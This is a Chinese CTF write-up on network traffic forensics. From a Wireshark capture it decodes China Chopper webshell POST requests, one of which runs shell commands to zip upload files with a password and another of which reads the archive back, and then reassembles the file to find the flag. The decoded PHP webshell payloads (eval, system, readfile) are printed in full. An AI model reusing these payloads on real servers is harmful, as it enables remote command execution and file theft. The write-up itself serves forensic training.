流量分析简记
——记一次CTF中的流量分析
源于学院内ctf训练营期末考试原题
首先拿到一个zip内部仅有wireshark抓包文件,打开后查看抓包文件如下图

由于题目提示为菜刀连接的特征,因而寻找POST请求发现如下图

可以看到有两个包长度与其他包不同,则对于长度不同的两个包分别分析,首先是第一个包体(截取关键字段):

Form item: "cmd" = "@eval(base64_decode($_POST[z0]));"
Form item: "z0" = "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs="
Form item: "z1" = "L2Jpbi9zaA=="
Form item: "z2" = "Y2QgIi92YXIvd3d3L2h0bWwvdXBsb2FkLyI7emlwIC1QIGluZGV4cGhwIGZpbGUgdGVzdC5wbmcgcmVhZG1lO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ=="
可以看出z0、z1、z2三个均为base64加密过的一些数据,对其分别进行解密可得:
z0 =
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");
;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";
@system($r." 2>&1");;echo("|<-");die();
z1 = /bin/sh
z2 = cd "/var/www/html/upload/";zip -P indexphp file test.png readme;echo [S];pwd;echo [E]
不难看出,z0内部定义了$p和$s,值分别为z1和z2。$c的意图为检验首位是否为/,即判断是否绝对地址,若非绝对地址则$c开头为/c,并没有查到/bin/sh /c有什么用,而且在shell内部也报错。初步判断该段指令为将/var/www/html内的readme和test.png压缩成file.zip且密码为indexphp。
接下来分析第二个特殊长度的包体:
Form item: "cmd" = "@eval(base64_decode($_POST[z0]));"
Form item: "z0" = "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7"
Form item: "z1" = "/var/www/html/upload/file.zip"
进行base64解码后可得:
z0 =
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");
;
$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}
else{
echo("ERROR:// Can Not Read");
}
;
echo("|<-");
die();
z1 = "/var/www/html/upload/file.zip"
不难看出第二个包体的内容是读取file.zip,因而通过追踪该http包的http流可得到file.zip的二进制内容,通过winhex组装后得到最终的file.zip包体。解压后发现readme中的flag。
-
小结
在流量分析中读取以及上传的文件内容都会被流量所记录,因而流量分析中可以通过字节流进行组装从而完成重要文件的还原。